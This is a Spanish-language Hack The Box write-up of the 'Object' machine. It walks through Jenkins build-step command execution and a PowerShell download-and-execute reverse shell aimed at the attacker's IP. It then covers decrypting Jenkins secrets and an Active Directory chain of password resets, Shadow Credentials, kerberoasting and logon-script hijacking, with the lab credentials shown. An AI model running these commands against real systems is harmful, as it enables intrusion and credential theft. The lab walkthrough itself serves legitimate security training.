Table of Contents
Hack The Box: Object Writeup
Welcome to my detailed writeup of the hard difficulty machine “Object” on Hack The Box. This writeup will cover the steps taken to achieve initial foothold and escalation to root.
TCP Enumeration
1$ rustscan -a 10.129.96.147 --ulimit 5000 -g
210.129.96.147 -> [80,5985,8080]
1$ nmap -p80,5985,8080 -sCV 10.129.96.147 -oN allPorts
2Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-01 21:37 CEST
3Nmap scan report for 10.129.96.147
4Host is up (0.036s latency).
5
6PORT STATE SERVICE VERSION
780/tcp open http Microsoft IIS httpd 10.0
8|_http-title: Mega Engines
9|_http-server-header: Microsoft-IIS/10.0
10| http-methods:
11|_ Potentially risky methods: TRACE
125985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
13|_http-server-header: Microsoft-HTTPAPI/2.0
14|_http-title: Not Found
158080/tcp open http Jetty 9.4.43.v20210629
16| http-robots.txt: 1 disallowed entry
17|_/
18|_http-server-header: Jetty(9.4.43.v20210629)
19|_http-title: Site doesn't have a title (text/html;charset=utf-8).
20Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
21
22Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
23Nmap done: 1 IP address (1 host up) scanned in 12.88 seconds
UDP Enumeration
1$ sudo nmap --top-ports 1500 -sU --min-rate 5000 -n -Pn 10.129.96.147 -oN allPorts.UDP
2Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-01 21:37 CEST
3Nmap scan report for 10.129.96.147
4Host is up (0.047s latency).
5Not shown: 1497 open|filtered udp ports (no-response)
6PORT STATE SERVICE
753/udp open domain
888/udp open kerberos-sec
9123/udp open ntp
10
11Nmap done: 1 IP address (1 host up) scanned in 1.00 seconds
Del escaneo inicial podemos detectar que nos enfrentamos a un entorno de directorio activo ya que vemos el puerto 88/UDP abierto (Kerberos), puede no ser directorio activo pero lo podemos suponer.
Además vemos expuesto el servicio de WinRM y dos servicios web.
HTTP Enumeration
whatweb
nos reporta el dominio object.htb
, lo añadimos al /etc/hosts
1$ whatweb http://10.129.96.147
2http://10.129.96.147 [200 OK] Country[RESERVED][ZZ], Email[ideas@object.htb], HTML5, HTTPServer[Microsoft-IIS/10.0], IP[10.129.96.147], JQuery[2.1.3], Microsoft-IIS[10.0], Modernizr, Script, Title[Mega Engines]
Así se ve el sitio web, no tiene ninguna funcionalidad.
Tiene un hipervínculo al servicio del puerto 8080/TCP que corresponde con una instancia de Jenkins
Está habilitado el registro de usuarios, vamos a crearnos una cuenta.
No podemos acceder a la ruta /script
ya que es solo para administradores.
Podemos crear un nuevo proyecto para mediante la sección de Build
especificar que se ejecute un comando a nivel de sistema a la hora de compilar el proyecto.
Vamos a especificar que se haga un ping a mi sistema a modo de prueba.
Pero no me da la opción para poder compilar el proyecto.
Building The Jenkins Project -> RCE
Buscando un poco me encontré lo siguiente:
If Build now button doesn’t appear, you can still go to configure –> Build Triggers –>
Build periodically
and set a cron of* * * * *
Instead of using cron, you can use the config “Trigger builds remotely” where you just need to set a the api token name to trigger the job. Then go to your user profile and generate an API token (call this API token as you called the api token to trigger the job). Finally, trigger the job with:
**curl <username>:<api_token>@<jenkins_url>/job/<job_name>/build?token=<api_token_name>**
Establecemos el tiempo por cada ejecución, cada minuto.
Y conseguimos ejecución remota de comandos.
121:57:58.440906 IP 10.10.14.108 > object.htb: ICMP echo reply, id 1, seq 3227, length 40
221:57:59.456503 IP object.htb > 10.10.14.108: ICMP echo request, id 1, seq 3230, length 40
321:57:59.456528 IP 10.10.14.108 > object.htb: ICMP echo reply, id 1, seq 3230, length 40
421:58:00.472438 IP object.htb > 10.10.14.108: ICMP echo request, id 1, seq 3234, length 40
Al intentar mandarnos una reverse shell.
1powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://10.10.14.108:8081/Invoke-PowerShellTcp.ps1')|iex"
Nos indica que no ha sido capaz de conectarse a un servidor remoto, por lo cual puede que se estén bloqueando las conexiones.
Probando con una reverse shell de revshells.com
Vemos que también está bloqueado.
Dumping Jenkins Secrets -> Foothold
Podemos intentar dumpear los “secrets” de Jenkins. Lo había hecho anteriormente accediendo a través de la consola de Groovy
pero esta vez no tenemos acceso a esta consola, pero podemos intentar acceder a los archivos internos a través del RCE para conseguir las claves de encriptación y los secrets.
Primero necesitamos saber donde está instalado esta instancia de Jenkins.
Viendo los errores descubrimos fácilmente donde está instalada esta instancia.
Podemos cambiar el comando del Build
a dir C:\Users\oliver\AppData\Local\Jenkins\.jenkins\
y cuando se intenta compilar vemos el output por consola.
Vemos el directorio secrets
, vamos a listar que hay aquí dentro. Según la documentación debería de haber dos archivos.
- secrets/master.key
- secrets/hudson.util.Secret
Aquí los vemos.
Vamos a ver el contenido del hudson.util.Secret
Vemos que no es legible, así que vamos a convertirlo a base64 para copiarlo a nuestra máquina.
1powershell -Command "[Convert]::ToBase64String([IO.File]::ReadAllBytes('C:\Users\oliver\AppData\Local\Jenkins\.jenkins\secrets\hudson.util.Secret'))"
Y aquí lo tenemos.
Ahora en nuestra máquina.
1$ echo "gWFQFlTxi+xRdwcz6KgADwG+rsOAg2e3omR3LUopDXUcTQaGCJIswWKIbqgNXAvu2SHL93OiRbnEMeKqYe07PqnX9VWLh77Vtf+Z3jgJ7sa9v3hkJLPMWVUKqWsaMRHOkX30Qfa73XaWhe0ShIGsqROVDA1gS50ToDgNRIEXYRQWSeJY0gZELcUFIrS+r+2LAORHdFzxUeVfXcaalJ3HBhI+Si+pq85MKCcY3uxVpxSgnUrMB5MX4a18UrQ3iug9GHZQN4g6iETVf3u6FBFLSTiyxJ77IVWB1xgep5P66lgfEsqgUL9miuFFBzTsAkzcpBZeiPbwhyrhy/mCWogCddKudAJkHMqEISA3et9RIgA=" | base64 -d > hudson.util.Secret
2┌─[192.168.1.52]─[pointedsec@parrot]─[~/Desktop/object/content]
3└──╼ [★]$ cat hudson.util.Secret
4\,bnw3Àgdw-J)
5 !sE1a;>Uյ8 xd$YU
6k1Α}Av
7DaIXD-"Gt\Q_]ƚ>J/L('UJ|R7=vP7:D{KI8Ğ!UXʠPfE4Lܤ^*ZuҮtdʄ! 7zQ"
Ahora vamos con el fichero master.key
, hacemos lo mismo..
1$ echo "ZjY3M2ZkYjBjNGZjYzMzOTA3MDQzNWJkYmUxYTAzOWQ4M2E1OTdiZjIxZWFmYmI3ZjliMzViNTBmY2UwMDZlNTY0Y2ZmNDU2NTUzZWQ3M2NiMWZhNTY4YjY4YjMxMGFkZGM1NzZmMTYzN2E3ZmU3MzQxNGE0YzZmZjEwYjRlMjNhZGM1MzhlOWIzNjlhMGM2ZGU4ZmMyOTlkZmEyYTM5MDRlYzczYTI0YWE0ODU1MGIyNzZiZTUxZjkxNjU2Nzk1OTViMmNhYzAzY2MyMDQ0ZjNjNzAyZDY3NzE2OWUyZjRkM2JkOTZkODMyMWEyZTE5ZTJiZjBjNzZmZTMxZGIxOQ==" | base64 -d > master.key
2┌─[192.168.1.52]─[pointedsec@parrot]─[~/Desktop/object/content]
3└──╼ [★]$ cat master.key
4f673fdb0c4fcc339070435bdbe1a039d83a597bf21eafbb7f9b35b50fce006e564cff456553ed73cb1fa568b68b310addc576f1637a7fe73414a4c6ff10b4e23adc538e9b369a0c6de8fc299dfa2a3904ec73a24aa48550b276be51f9165679595b2cac03cc2044f3c702d677169e2f4d3bd96d8321a2e19e2bf0c76fe31db19
Ahora, solo hace falta dumpear los secretos y rezar para que exista alguno.
No hay ni rastro del fichero credentials.xml
y por alguna razón la máquina dejó de compilar el proyecto, por lo cual tuve que reiniciar la máquina.
Vemos un directorio \users\
Que contiene mi usuario y al usuario administrador, vamos a ver que hay dentro de ese directorio.
Vemos que hay un archivo config.xml
, vamos a ver que contiene.
Y vemos varias cosas interesantes.
1<?xml version='1.1' encoding='UTF-8'?>
2<user>
3 <version>10</version>
4 <id>admin</id>
5 <fullName>admin</fullName>
6 <properties>
7 <com.cloudbees.plugins.credentials.UserCredentialsProvider_-UserCredentialsProperty plugin="credentials@2.6.1">
8 <domainCredentialsMap class="hudson.util.CopyOnWriteMap$Hash">
9 <entry>
10 <com.cloudbees.plugins.credentials.domains.Domain>
11 <specifications/>
12 </com.cloudbees.plugins.credentials.domains.Domain>
13 <java.util.concurrent.CopyOnWriteArrayList>
14 <com.cloudbees.plugins.credentials.impl.UsernamePasswordCredentialsImpl>
15 <id>320a60b9-1e5c-4399-8afe-44466c9cde9e</id>
16 <description></description>
17 <username>oliver</username>
18 <password>{AQAAABAAAAAQqU+m+mC6ZnLa0+yaanj2eBSbTk+h4P5omjKdwV17vcA=}</password>
19 <usernameSecret>false</usernameSecret>
20 </com.cloudbees.plugins.credentials.impl.UsernamePasswordCredentialsImpl>
21 </java.util.concurrent.CopyOnWriteArrayList>
22 </entry>
23 </domainCredentialsMap>
24 </com.cloudbees.plugins.credentials.UserCredentialsProvider_-UserCredentialsProperty>
25 <hudson.plugins.emailext.watching.EmailExtWatchAction_-UserProperty plugin="email-ext@2.84">
26 <triggers/>
27 </hudson.plugins.emailext.watching.EmailExtWatchAction_-UserProperty>
28 <hudson.model.MyViewsProperty>
29 <views>
30 <hudson.model.AllView>
31 <owner class="hudson.model.MyViewsProperty" reference="../../.."/>
32 <name>all</name>
33 <filterExecutors>false</filterExecutors>
34 <filterQueue>false</filterQueue>
35 <properties class="hudson.model.View$PropertyList"/>
36 </hudson.model.AllView>
37 </views>
38 </hudson.model.MyViewsProperty>
39 <org.jenkinsci.plugins.displayurlapi.user.PreferredProviderUserProperty plugin="display-url-api@2.3.5">
40 <providerId>default</providerId>
41 </org.jenkinsci.plugins.displayurlapi.user.PreferredProviderUserProperty>
42 <hudson.model.PaneStatusProperties>
43 <collapsed/>
44 </hudson.model.PaneStatusProperties>
45 <jenkins.security.seed.UserSeedProperty>
46 <seed>ea75b5bd80e4763e</seed>
47 </jenkins.security.seed.UserSeedProperty>
48 <hudson.search.UserSearchProperty>
49 <insensitiveSearch>true</insensitiveSearch>
50 </hudson.search.UserSearchProperty>
51 <hudson.model.TimeZoneProperty/>
52 <hudson.security.HudsonPrivateSecurityRealm_-Details>
53 <passwordHash>#jbcrypt:$2a$10$q17aCNxgciQt8S246U4ZauOccOY7wlkDih9b/0j4IVjZsdjUNAPoW</passwordHash>
54 </hudson.security.HudsonPrivateSecurityRealm_-Details>
55 <hudson.tasks.Mailer_-UserProperty plugin="mailer@1.34">
56 <emailAddress>admin@object.local</emailAddress>
57 </hudson.tasks.Mailer_-UserProperty>
58 <jenkins.security.ApiTokenProperty>
59 <tokenStore>
60 <tokenList/>
61 </tokenStore>
62 </jenkins.security.ApiTokenProperty>
63 <jenkins.security.LastGrantedAuthoritiesProperty>
64 <roles>
65 <string>authenticated</string>
66 </roles>
67 <timestamp>1634793332195</timestamp>
68 </jenkins.security.LastGrantedAuthoritiesProperty>
69 </properties>
70</user>
Vemos este apartado que contiene la contraseña de un usuario llamado oliver
, algo extraño.
1<com.cloudbees.plugins.credentials.impl.UsernamePasswordCredentialsImpl>
2 <id>320a60b9-1e5c-4399-8afe-44466c9cde9e</id>
3 <description></description>
4 <username>oliver</username>
5 <password>{AQAAABAAAAAQqU+m+mC6ZnLa0+yaanj2eBSbTk+h4P5omjKdwV17vcA=}</password>
6 <usernameSecret>false</usernameSecret>
7 </com.cloudbees.plugins.credentials.impl.UsernamePasswordCredentialsImpl>
Pero a parte vemos otro hash bcrypt
, este hash no consigo crackearlo con hashcat
1 <hudson.security.HudsonPrivateSecurityRealm_-Details>
2 <passwordHash>#jbcrypt:$2a$10$q17aCNxgciQt8S246U4ZauOccOY7wlkDih9b/0j4IVjZsdjUNAPoW</passwordHash>
3 </hudson.security.HudsonPrivateSecurityRealm_-Details>
Podemos meter todo el XML a un archivo llamado credentials.xml
y teniendo las claves de encriptación anteriormente encontradas master.key
y hudson.util.Secret
podemos desencriptar esa credencial junto con este script de python
1$ python3 jenkins_offline_decrypt.py master.key hudson.util.Secret users.xml
2c1cdfun_d2434
Y vemos que podemos acceder a través de WinRM como el usuario oliver
1$ nxc winrm 10.129.246.207 -u 'oliver' -p 'c1cdfun_d2434'
2WINRM 10.129.246.207 5985 JENKINS [*] Windows 10 / Server 2019 Build 17763 (name:JENKINS) (domain:object.local)
3WINRM 10.129.246.207 5985 JENKINS [+] object.local\oliver:c1cdfun_d2434 (Pwn3d!)
Ahora con evil-winrm
podemos ganar una consola interactiva.
1$ evil-winrm -i 10.129.246.207 -u 'oliver' -p 'c1cdfun_d2434'
2
3Evil-WinRM shell v3.5
4
5Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
6
7Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
8
9Info: Establishing connection to remote endpoint
10*Evil-WinRM* PS C:\Users\oliver\Documents> whoami
11object\oliver
Y podemos ver la flag de usuario.
1*Evil-WinRM* PS C:\Users\oliver\Desktop> type user.txt
263dce506ee5e...
User Pivoting
El usuario oliver
no pertenece a ningún grupo interesante ni tiene ningún privilegio interesante.
1*Evil-WinRM* PS C:\Users\oliver\Desktop> whoami /groups
2
3GROUP INFORMATION
4-----------------
5
6Group Name Type SID Attributes
7=========================================== ================ ============ ==================================================
8Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
9BUILTIN\Remote Management Users Alias S-1-5-32-580 Mandatory group, Enabled by default, Enabled group
10BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
11BUILTIN\Pre-Windows 2000 Compatible Access Alias S-1-5-32-554 Mandatory group, Enabled by default, Enabled group
12NT AUTHORITY\NETWORK Well-known group S-1-5-2 Mandatory group, Enabled by default, Enabled group
13NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group
14NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group
15NT AUTHORITY\NTLM Authentication Well-known group S-1-5-64-10 Mandatory group, Enabled by default, Enabled group
16Mandatory Label\Medium Plus Mandatory Level Label S-1-16-8448
17*Evil-WinRM* PS C:\Users\oliver\Desktop> whoami /priv
18
19PRIVILEGES INFORMATION
20----------------------
21
22Privilege Name Description State
23============================= ============================== =======
24SeMachineAccountPrivilege Add workstations to domain Enabled
25SeChangeNotifyPrivilege Bypass traverse checking Enabled
26SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
Vemos un usuario maria
1*Evil-WinRM* PS C:\Users\oliver\Desktop> net user
2
3User accounts for \\
4
5-------------------------------------------------------------------------------
6Administrator Guest krbtgt
7maria oliver
8The command completed with one or more errors.
No vemos que maria
pertenezca a ningún grupo interesante a parte del Remote Management Users
.
1*Evil-WinRM* PS C:\Users\oliver\Desktop> net user maria
2User name maria
3Full Name maria garcia
4Comment
5User's comment
6Country/region code 000 (System Default)
7Account active Yes
8Account expires Never
9
10Password last set 10/21/2021 9:16:32 PM
11Password expires Never
12Password changeable 10/22/2021 9:16:32 PM
13Password required Yes
14User may change password Yes
15
16Workstations allowed All
17Logon script
18User profile
19Home directory
20Last logon 9/1/2024 11:55:10 AM
21
22Logon hours allowed All
23
24Local Group Memberships *Remote Management Use
25Global Group memberships *Domain Users
26The command completed successfully.
También vemos que existe el directorio personal de trabajo de otro usuario llamado smith
1*Evil-WinRM* PS C:\Users> dir
2
3
4 Directory: C:\Users
5
6
7Mode LastWriteTime Length Name
8---- ------------- ------ ----
9d----- 11/10/2021 3:20 AM Administrator
10d----- 10/26/2021 7:59 AM maria
11d----- 10/26/2021 7:58 AM oliver
12d-r--- 4/10/2020 10:49 AM Public
13d----- 10/21/2021 3:44 AM smith
Pero no podemos listar información de este usuario.
1*Evil-WinRM* PS C:\Users> net user smith
2net.exe : System error 5 has occurred.
3 + CategoryInfo : NotSpecified: (System error 5 has occurred.:String) [], RemoteException
4 + FullyQualifiedErrorId : NativeCommandError
5Access is denied.
Bloodhound
Vamos a pasar el Sharphound
para hacer la posterior enumeración utilizando Bloodhound
a ver si encontramos algo interesante.
Podemos hacer uso de la función upload
interna que tiene evil-winrm
para poder subir el binario de SharpHound
1*Evil-WinRM* PS C:\Windows\Temp\work> upload SharpHound.exe
2
3Info: Uploading /home/pointedsec/Desktop/object/content/SharpHound.exe to C:\Windows\Temp\work\SharpHound.exe
4
5Data: 1402880 bytes of 1402880 bytes copied
6
7Info: Upload successful!
Ejecutamos el SharpHound
1*Evil-WinRM* PS C:\Windows\Temp\work> .\SharpHound.exe -c All
Cuando termine, vemos que nos ha generado un archivo .zip.
1*Evil-WinRM* PS C:\Windows\Temp\work> dir
2
3
4 Directory: C:\Windows\Temp\work
5
6
7Mode LastWriteTime Length Name
8---- ------------- ------ ----
9-a---- 9/1/2024 12:19 PM 11385 20240901121934_BloodHound.zip
10-a---- 9/1/2024 12:19 PM 7897 MWU2MmE0MDctMjBkZi00N2VjLTliOTMtYThjYTY4MjdhZDA2.bin
11-a---- 9/1/2024 12:17 PM 1052160 SharpHound.exe
Nos lo descargamos haciendo uso de la función download
interna que tiene evil-winrm
1Evil-WinRM* PS C:\Windows\Temp\work> download 20240901121934_BloodHound.zip
2
3Info: Downloading C:\Windows\Temp\work\20240901121934_BloodHound.zip to 20240901121934_BloodHound.zip
4
5Info: Download successful!
Iniciamos la base de datos neo4j
ya que es la que utiliza Bloodhound
e iniciamos Bloodhound.
1$ sudo neo4j start
2Directories in use:
3home: /usr/share/neo4j
4config: /usr/share/neo4j/conf
5logs: /etc/neo4j/logs
6plugins: /usr/share/neo4j/plugins
7import: /usr/share/neo4j/import
8data: /etc/neo4j/data
9certificates: /usr/share/neo4j/certificates
10licenses: /usr/share/neo4j/licenses
11run: /var/lib/neo4j/run
12Starting Neo4j.
13Started neo4j (pid:7623). It is available at http://localhost:7474
14There may be a short delay until the server is ready.
Cargamos el archivo zip en el bloodhound
Marcamos al usuario oliver
como owned.
Y rápidamente detectamos un vector de ataque.
El usuario oliver
tiene el atributo ForceChangePassword
hacía el usuario smith
, esto significa que podemos cambiar la contraseña de smith
.
smith
a su vez tiene el atributo GenericWrite
sobre el usuario maria
que significa que podemos escribir cualquier atributo no protegido en el objeto víctima por lo cual podríamos crear una Shadow Credential
para poder autenticarnos como maria
sin necesidad de cambiar la contraseña.
Y para terminar maria
tiene el atributo WriteOwner
sobre el grupo Domain Admins
que significa que maria
puede modificar al propietario de este grupo que es Administrator
y podríamos agregar a otro usuario como propietario.
Pero vamos pasito a pasito.
Abusing ForceChangePassword
Vamos a utilizar bloodyAD
para realizar este paso de nuestro vector de ataque ya que es como una navaja suiza para los movimientos laterales y escalada de privilegios en Active Directory.
https://github.com/CravateRouge/bloodyAD
Lo subimos a la máquina víctima.
1*Evil-WinRM* PS C:\Windows\Temp\work> upload bloodyAD.exe
2
3Info: Uploading /home/pointedsec/Desktop/object/content/bloodyAD.exe to C:\Windows\Temp\work\bloodyAD.exe
4
5Data: 17932052 bytes of 17932052 bytes copied
6
7Info: Upload successful!
Podemos intentar cambiar la contraseña de smith
1*Evil-WinRM* PS C:\Windows\Temp\work> .\bloodyAD.exe --host 127.0.0.1 -d object.htb set password "smith" "Pointed123@"
2bloodyAD.exe : unicrypto\backends\cryptography\RC4.py:13: CryptographyDeprecationWarning: ARC4 has been moved to cryptography.hazmat.decrepit.ciphers.algorithms.ARC4 and will be removed from this module in 48.0.0.
3 + CategoryInfo : NotSpecified: (unicrypto\backe...dule in 48.0.0.:String) [], RemoteException
4 + FullyQualifiedErrorId : NativeCommandError
5[+] Password changed successfully!
Y podemos comprobar que la hemos cambiado correctamente.
1$ nxc winrm 10.129.246.207 -u 'smith' -p 'Pointed123@'
2WINRM 10.129.246.207 5985 JENKINS [*] Windows 10 / Server 2019 Build 17763 (name:JENKINS) (domain:object.local)
3WINRM 10.129.246.207 5985 JENKINS [+] object.local\smith:Pointed123@ (Pwn3d!)
Y ganamos acceso como smith
1$ evil-winrm -i 10.129.246.207 -u 'smith' -p 'Pointed123@'
2
3Evil-WinRM shell v3.5
4
5Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
6
7Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
8
9Info: Establishing connection to remote endpoint
10*Evil-WinRM* PS C:\Users\smith\Documents> whoami
11object\smith
Abusing GenericWrite -> Shadow Credentials (Failed)
Para abusar este privilegio, podríamos utilizar pyWhisker, con esta herramienta podemos manipular el atributo msDS-KeyCredentialLink
del usuario/equipo víctima para conseguir control completo sobre ese objeto pero ya hemos visto en el escaneo inicial que hay muy pocos puertos abiertos y no tenemos abierto ni el RPC ni el LDAP externamente.
Con chisel
podríamos hacer un proxy tipo socks para compartirnos los puertos que necesitemos pero recordemos que existen limitaciones de seguridad por detrás, así que vamos a utilizar Whisker
y Rubeus
para agregar las Shadow Credentials a maria
Nos podemos descargar el binario de Whisker.exe
precompilado aquí
Lo subimos a la máquina víctima.
1*Evil-WinRM* PS C:\Users\smith\Documents> upload Whisker.exe
2
3Info: Uploading /home/pointedsec/Desktop/object/content/Whisker.exe to C:\Users\smith\Documents\Whisker.exe
4
5Data: 59392 bytes of 59392 bytes copied
6
7Info: Upload successful!
Ahora subimos el Rubeus
1*Evil-WinRM* PS C:\Users\smith\Documents> upload Rubeus.exe
2
3Info: Uploading /home/pointedsec/Desktop/object/content/Rubeus.exe to C:\Users\smith\Documents\Rubeus.exe
4
5Data: 617128 bytes of 617128 bytes copied
6
7Info: Upload successful!
Ahora creamos con Whisker
la shadow cred, se nos creará un certificado para poder solicitar posteriormente con Rubeus
un TGT como maría y poder conseguir el hash.
1*Evil-WinRM* PS C:\Users\smith\Documents> .\Whisker.exe add /target:maria /path:cert.pfx /dc:127.0.0.1
2[*] No pass was provided. The certificate will be stored with the password T7mQzob9bpSWr1cQ
3[*] Searching for the target account
4[*] Target user found: CN=maria garcia,CN=Users,DC=object,DC=local
5[*] Generating certificate
6[*] Certificate generaged
7[*] Generating KeyCredential
8[*] KeyCredential generated with DeviceID 59d02765-9df6-4a4a-a789-eb8994d9770e
9[*] Updating the msDS-KeyCredentialLink attribute of the target object
10[+] Updated the msDS-KeyCredentialLink attribute of the target object
11[*] Saving the associated certificate to file...
12[*] The associated certificate was saved to cert.pfx
13[*] You can now run Rubeus with the following syntax:
14
15Rubeus.exe asktgt /user:maria /certificate:cert.pfx /password:"T7mQzob9bpSWr1cQ" /domain:object.local /dc:127.0.0.1 /getcredentials /show
16*Evil-WinRM* PS C:\Users\smith\Documents> .\Rubeus.exe asktgt /user:maria /certificate:cert.pfx /password:"T7mQzob9bpSWr1cQ" /domain:object.local /dc:127.0.0.1 /getcredentials /show
17
18 ______ _
19 (_____ \ | |
20 _____) )_ _| |__ _____ _ _ ___
21 | __ /| | | | _ \| ___ | | | |/___)
22 | | \ \| |_| | |_) ) ____| |_| |___ |
23 |_| |_|____/|____/|_____)____/(___/
24
25 v2.3.2
26
27[*] Action: Ask TGT
28
29[*] Using PKINIT with etype rc4_hmac and subject: CN=maria
30[*] Building AS-REQ (w/ PKINIT preauth) for: 'object.local\maria'
31[*] Using domain controller: 127.0.0.1:88
32
33[X] KRB-ERROR (16) : KDC_ERR_PADATA_TYPE_NOSUPP
Vemos un error, KDC_ERR_PADATA_TYPE_NOSUPP
The error “KDC_ERR_PADATA_TYPE_NOSUPP” simply means that the KDC is not set up for Kerberos authentication
Tenemos otras opciones para abusar el privilegio GenericWrite
, podemos establecer un SPN al usuario para posteriormente kerberoastearlo e intentar crackear el hash, o podemos establecer un script que se ejecutará como este usuario la próxima vez que inicie sesión.
We can set a service principal name and we can kerberoast that account.
We can set objects like logon script which would get executed on the next time account logs in.
En el bloodhound
podemos ver que maria
tiene una sesión iniciada.
Antes de hacer lo de la sesión iniciada, vamos a hacer este usuario kerberoasteable para ver si podemos conseguir su credencial, quizás nos pueda servir.
Ahora este usuario ya tiene un SPN.
1*Evil-WinRM* PS C:\Users\smith\Documents> setspn -a object.local/maria.object.local:1337 object.local\maria
2Checking domain DC=object,DC=local
3
4Registering ServicePrincipalNames for CN=maria garcia,CN=Users,DC=object,DC=local
5 object.local/maria.object.local:1337
6Updated object
Al intentar realizar el ataque con Rubeus
1*Evil-WinRM* PS C:\Users\smith\Documents> .\Rubeus.exe kerberoast /outfile:hashes.kerberoast
2
3 ______ _
4 (_____ \ | |
5 _____) )_ _| |__ _____ _ _ ___
6 | __ /| | | | _ \| ___ | | | |/___)
7 | | \ \| |_| | |_) ) ____| |_| |___ |
8 |_| |_|____/|____/|_____)____/(___/
9
10 v2.3.2
11
12
13[*] Action: Kerberoasting
14
15[*] NOTICE: AES hashes will be returned for AES-enabled accounts.
16[*] Use /ticket:X or /tgtdeleg to force RC4_HMAC for these accounts.
17
18[*] Target Domain : object.local
19[*] Searching path 'LDAP://jenkins.object.local/DC=object,DC=local' for '(&(samAccountType=805306368)(servicePrincipalName=*)(!samAccountName=krbtgt)(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))'
20
21[*] Total kerberoastable users : 1
22
23
24[*] SamAccountName : maria
25[*] DistinguishedName : CN=maria garcia,CN=Users,DC=object,DC=local
26[*] ServicePrincipalName : object.local/test:1337
27[*] PwdLastSet : 10/21/2021 9:16:32 PM
28[*] Supported ETypes : RC4_HMAC_DEFAULT
29
30 [X] Error during request for SPN object.local/test:1337@object.local : No credentials are available in the security package
31
32[*] Roasted hashes written to : C:\Users\smith\Documents\hashes.kerberoast
Vemos un error, No credentials are available in the security package
This can happen if a user is a “Protected Users” group member, and integrated Windows authentication is disabled for this user. See Microsoft’s KB for more details.
Así que vamos a cambiar el scriptpath
de maria
para que cuando inicie sesión se ejecute un script personalizado.
Primero creamos un objeto de credenciales para el usuario smith
1*Evil-WinRM* PS C:\Users\smith\Documents> $SecPassword = ConvertTo-SecureString 'Pointed123@' -AsPlainText -Force
1*Evil-WinRM* PS C:\Users\smith\Documents> $Cred = New-Object System.Management.Automation.PSCredential('object.local\smith', $SecPassword)
Ahora creamos un script de prueba llamado test.ps1
que cuando se ejecute simplemente creará un archivo poc.txt
1*Evil-WinRM* PS C:\Windows\System32\spool\drivers\color> echo 'whoami > C:\\Windows\\System32\\spool\\drivers\\color\\poc.txt' > test.ps1
Ahora necesitamos PowerView.ps1
de suite de PowerSploit
, esto trae muchas herramientas definidas en módulos de PowerShell para reconocimiento y escalada de privilegios en entornos de directorio activo.
1*Evil-WinRM* PS C:\Windows\System32\spool\drivers\color> upload PowerView.ps1
2
3Info: Uploading /home/pointedsec/Desktop/object/content/PowerView.ps1 to C:\Windows\System32\spool\drivers\color\PowerView.ps1
4
5Data: 1027036 bytes of 1027036 bytes copied
6
7Info: Upload successful!
Importamos PowerView.ps1
1*Evil-WinRM* PS C:\Windows\System32\spool\drivers\color> Import-Module .\PowerView.ps1
Y ahora utilizando el objeto $Cred
que hemos creado anteriormente, cambiamos el scriptpath
a nuestro script personalizado para el usuario maria
1*Evil-WinRM* PS C:\Windows\System32\spool\drivers\color> Set-DomainObject -Credential $Cred -Identity maria -SET @{scriptpath='C:\\Windows\\System32\\spool\\drivers\\color\\foo.ps1'}
¡Y vemos que funciona!
1*Evil-WinRM* PS C:\Windows\System32\spool\drivers\color> type poc.txt
2object\maria
No podemos enviarnos una revshell como maria
por las limitaciones del firewall.
Vamos a listar que tiene en su directorio personal de trabajo por si encontramos algo interesante.
1Evil-WinRM* PS C:\Windows\System32\spool\drivers\color> echo 'ls -force -s C:\Users\maria\ > C:\\Windows\\System32\\spool\\drivers\\color\\poc.txt' > test.ps1
Cambiamos otra vez el scriptpath
por si hay algún script que lo reestablece, algo común en HackTheBox.
1*Evil-WinRM* PS C:\Windows\System32\spool\drivers\color> Set-DomainObject -Credential $Cred -Identity maria -SET @{scriptpath='C:\\Windows\\System32\\spool\\drivers\\color\\test.ps1'}
Abajo del todo del archivo vemos lo siguiente, un archivo Engines.xls
Vamos a copiarnos este archivo.
1*Evil-WinRM* PS C:\Windows\System32\spool\drivers\color> echo 'copy C:\Users\maria\Desktop\Engines.xls C:\Windows\System32\spool\drivers\color\Engines.xls > C:\\Windows\\System32\\spool\\drivers\\color\\poc.txt' > test.ps1
Cambiamos otra vez el scriptpath
1*Evil-WinRM* PS C:\Windows\System32\spool\drivers\color> Set-DomainObject -Credential $Cred -Identity maria -SET @{scriptpath='C:\\Windows\\System32\\spool\\drivers\\color\\test.ps1'}
Ahora vamos a inspeccionar este fichero en nuestra máquina.
1*Evil-WinRM* PS C:\Windows\System32\spool\drivers\color> download Engines.xls
2
3Info: Downloading C:\Windows\System32\spool\drivers\color\Engines.xls to Engines.xls
4
5Info: Download successful!
Y vemos varias credenciales para este usuario..
Podemos probar estas credenciales con netexec
1$ nxc winrm 10.129.246.207 -u 'maria' -p credentials.txt
2WINRM 10.129.246.207 5985 JENKINS [*] Windows 10 / Server 2019 Build 17763 (name:JENKINS) (domain:object.local)
3WINRM 10.129.246.207 5985 JENKINS [-] object.local\maria:d34gb8@
4WINRM 10.129.246.207 5985 JENKINS [-] object.local\maria:0de_434_d545
5WINRM 10.129.246.207 5985 JENKINS [+] object.local\maria:W3llcr4ft3d_4cls (Pwn3d!)
Y encontramos que la credencial de maria
es W3llcr4ft3d_4cls
Conseguimos acceso como maria
1$ evil-winrm -i 10.129.246.207 -u 'maria' -p 'W3llcr4ft3d_4cls'
2
3Evil-WinRM shell v3.5
4
5Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
6
7Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
8
9Info: Establishing connection to remote endpoint
